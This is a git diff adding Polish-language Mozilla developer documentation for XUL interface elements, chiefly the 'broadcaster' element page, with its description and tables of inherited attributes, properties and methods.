+ &lt;label value="Three"/&gt;
+ &lt;label value="Four"/&gt;
+ &lt;/box&gt;
+&lt;/box&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table><p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+<h3 id="Metody" name="Metody">Metody</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+<h3 id="Podobne" name="Podobne">Podobne</h3>
+<dl><dt> Elementy </dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code> </dd></dl>
+
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/broadcaster/index.html b/files/pl/mozilla/tech/xul/broadcaster/index.html
new file mode 100644
index 0000000000..921648e1ae
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/broadcaster/index.html
@@ -0,0 +1,94 @@
+---
+title: broadcaster
+slug: Mozilla/Tech/XUL/broadcaster
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/broadcaster
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Rozgłaszacz jest stosowany, gdy chcemy, aby wiele elementów dzieliło się jednym lub kilkoma wartościami atrybutów lub kiedy chcemy, aby elementy odpowiadały na zmianę stanu. Wszystkie elementy obserwujące rozgłaszacze będą współdzielić atrybuty umieszczone w rozgłaszaczu. Na przykład, jeśli rozgłaszacz posiada atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, obserwatory będą używać tej etykiety. Jeśli etykieta zmieni się, etykiety obserwatorów zmienią się automatycznie. W momencie wykonania zmian do obserwatorów wysłane zostanie zdarzenie <code>onbroadcast</code>.
+</p><p>W przypadku pozycji (<code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>) lub przycisków (<code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>), których stan <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code> powinien zostać ustawiony, kiedy dana opcja ma być zablokowana, powinno się stosować element <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Rozg%c5%82aszacze_oraz_obserwatory">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a 